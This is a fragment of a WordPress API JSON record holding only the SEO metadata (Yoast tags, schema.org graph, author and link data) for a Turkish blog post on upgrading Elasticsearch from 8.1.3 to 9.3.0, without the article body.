content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"YUNUS EMRE ATAY\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/\"},\"author\":{\"name\":\"YUNUS EMRE ATAY\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"headline\":\"Elasticsearch 8.1.3&#8217;ten 9.3.0&#8217;a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi\",\"datePublished\":\"2026-02-20T12:50:00+00:00\",\"dateModified\":\"2026-04-07T08:25:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/\"},\"wordCount\":2686,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"image\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/02\\\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg\",\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/\",\"name\":\"Elasticsearch 8.1.3'ten 9.3.0'a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/02\\\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg\",\"datePublished\":\"2026-02-20T12:50:00+00:00\",\"dateModified\":\"2026-04-07T08:25:50+00:00\",\"description\":\"Elasticsearch ekosisteminde teknoloji dur durak bilmiyor. 8.x serisiyle hayat\u0131m\u0131za giren devrimsel yenilikler, yerini art\u0131k yapay zeka entegrasyonlar\u0131n\u0131n ve vekt\u00f6r veritaban\u0131 yeteneklerinin zirve yapt\u0131\u011f\u0131 9.3.0 versiyonuna b\u0131rakt\u0131. Ancak 8.1.3 gibi erken bir s\u00fcr\u00fcmden 9.3.0 gibi bir \\\"maj\u00f6r\\\" s\u00fcr\u00fcme ge\u00e7mek, sadece bir paket g\u00fcncellemesi de\u011fildir; bu, titizlikle planlanmas\u0131 gereken bir sistem operasyonudur.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/#primaryimage\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/02\\\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg\",\"contentUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/02\\\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg\",\"width\":640,\"height\":640,\"caption\":\"Elasticsearch 8.1.3'ten 9.3.0'a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\\\/\\\/oraclius.com.tr\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Elasticsearch 8.1.3&#8217;ten 9.3.0&#8217;a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#website\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/\",\"name\":\"oraclius\",\"description\":\"Linux, SQL, Oracle rehberleri ve daha fazlas\u0131 i\u00e7in oraclius.com.tr\u2019yi ziyaret edin.\",\"publisher\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"alternateName\":\"oracle\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/oraclius.com.tr\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"tr\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\",\"name\":\"YUNUS EMRE ATAY\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"contentUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"width\":512,\"height\":512,\"caption\":\"YUNUS EMRE ATAY\"},\"logo\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\"},\"description\":\"oracle\",\"sameAs\":[\"https:\\\/\\\/oraclius.com.tr\",\"https:\\\/\\\/instagram.com\\\/lemratal\",\"https:\\\/\\\/linkedin.com\\\/in\\\/emreatayy\",\"https:\\\/\\\/www.youtube.com\\\/@lemratal\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Elasticsearch 8.1.3'ten 9.3.0'a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi","description":"Elasticsearch ekosisteminde teknoloji dur durak bilmiyor. 8.x serisiyle hayat\u0131m\u0131za giren devrimsel yenilikler, yerini art\u0131k yapay zeka entegrasyonlar\u0131n\u0131n ve vekt\u00f6r veritaban\u0131 yeteneklerinin zirve yapt\u0131\u011f\u0131 9.3.0 versiyonuna b\u0131rakt\u0131. Ancak 8.1.3 gibi erken bir s\u00fcr\u00fcmden 9.3.0 gibi bir \"maj\u00f6r\" s\u00fcr\u00fcme ge\u00e7mek, sadece bir paket g\u00fcncellemesi de\u011fildir; bu, titizlikle planlanmas\u0131 gereken bir sistem operasyonudur.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/","og_locale":"tr_TR","og_type":"article","og_title":"Elasticsearch 8.1.3'ten 9.3.0'a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi","og_description":"Elasticsearch ekosisteminde teknoloji dur durak bilmiyor. 8.x serisiyle hayat\u0131m\u0131za giren devrimsel yenilikler, yerini art\u0131k yapay zeka entegrasyonlar\u0131n\u0131n ve vekt\u00f6r veritaban\u0131 yeteneklerinin zirve yapt\u0131\u011f\u0131 9.3.0 versiyonuna b\u0131rakt\u0131. Ancak 8.1.3 gibi erken bir s\u00fcr\u00fcmden 9.3.0 gibi bir \"maj\u00f6r\" s\u00fcr\u00fcme ge\u00e7mek, sadece bir paket g\u00fcncellemesi de\u011fildir; bu, titizlikle planlanmas\u0131 gereken bir sistem operasyonudur.","og_url":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/","og_site_name":"oraclius","article_published_time":"2026-02-20T12:50:00+00:00","article_modified_time":"2026-04-07T08:25:50+00:00","og_image":[{"width":640,"height":640,"url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg","type":"image\/jpeg"}],"author":"YUNUS EMRE ATAY","twitter_card":"summary_large_image","twitter_misc":{"Yazan:":"YUNUS EMRE ATAY","Tahmini okuma s\u00fcresi":"1 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/#article","isPartOf":{"@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/"},"author":{"name":"YUNUS EMRE ATAY","@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"headline":"Elasticsearch 8.1.3&#8217;ten 9.3.0&#8217;a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi","datePublished":"2026-02-20T12:50:00+00:00","dateModified":"2026-04-07T08:25:50+00:00","mainEntityOfPage":{"@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/"},"wordCount":2686,"commentCount":0,"publisher":{"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"image":{"@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/#primaryimage"},"thumbnailUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg","inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/","url":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/","name":"Elasticsearch 8.1.3'ten 9.3.0'a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi","isPartOf":{"@id":"https:\/\/oraclius.com.tr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/#primaryimage"},"image":{"@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/#primaryimage"},"thumbnailUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg","datePublished":"2026-02-20T12:50:00+00:00","dateModified":"2026-04-07T08:25:50+00:00","description":"Elasticsearch ekosisteminde teknoloji dur durak bilmiyor. 8.x serisiyle hayat\u0131m\u0131za giren devrimsel yenilikler, yerini art\u0131k yapay zeka entegrasyonlar\u0131n\u0131n ve vekt\u00f6r veritaban\u0131 yeteneklerinin zirve yapt\u0131\u011f\u0131 9.3.0 versiyonuna b\u0131rakt\u0131. Ancak 8.1.3 gibi erken bir s\u00fcr\u00fcmden 9.3.0 gibi bir \"maj\u00f6r\" s\u00fcr\u00fcme ge\u00e7mek, sadece bir paket g\u00fcncellemesi de\u011fildir; bu, titizlikle planlanmas\u0131 gereken bir sistem operasyonudur.","breadcrumb":{"@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/"]}]},{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/#primaryimage","url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg","contentUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg","width":640,"height":640,"caption":"Elasticsearch 8.1.3'ten 9.3.0'a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi"},{"@type":"BreadcrumbList","@id":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/oraclius.com.tr\/"},{"@type":"ListItem","position":2,"name":"Elasticsearch 8.1.3&#8217;ten 9.3.0&#8217;a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi"}]},{"@type":"WebSite","@id":"https:\/\/oraclius.com.tr\/#website","url":"https:\/\/oraclius.com.tr\/","name":"oraclius","description":"Linux, SQL, Oracle rehberleri ve daha fazlas\u0131 i\u00e7in oraclius.com.tr\u2019yi ziyaret edin.","publisher":{"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"alternateName":"oracle","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/oraclius.com.tr\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"tr"},{"@type":["Person","Organization"],"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09","name":"YUNUS EMRE ATAY","image":{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","contentUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","width":512,"height":512,"caption":"YUNUS EMRE ATAY"},"logo":{"@id":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg"},"description":"oracle","sameAs":["https:\/\/oraclius.com.tr","https:\/\/instagram.com\/lemratal","https:\/\/linkedin.com\/in\/emreatayy","https:\/\/www.youtube.com\/@lemratal"]}]}},"_links":{"self":[{"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/posts\/775","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/comments?post=775"}],"version-history":[{"count":9,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/posts\/775\/revisions"}],"predecessor-version":[{"id":882,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/posts\/775\/revisions\/882"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/media\/776"}],"wp:attachment":[{"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/media?parent=775"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/categories?post=775"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/tags?post=775"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}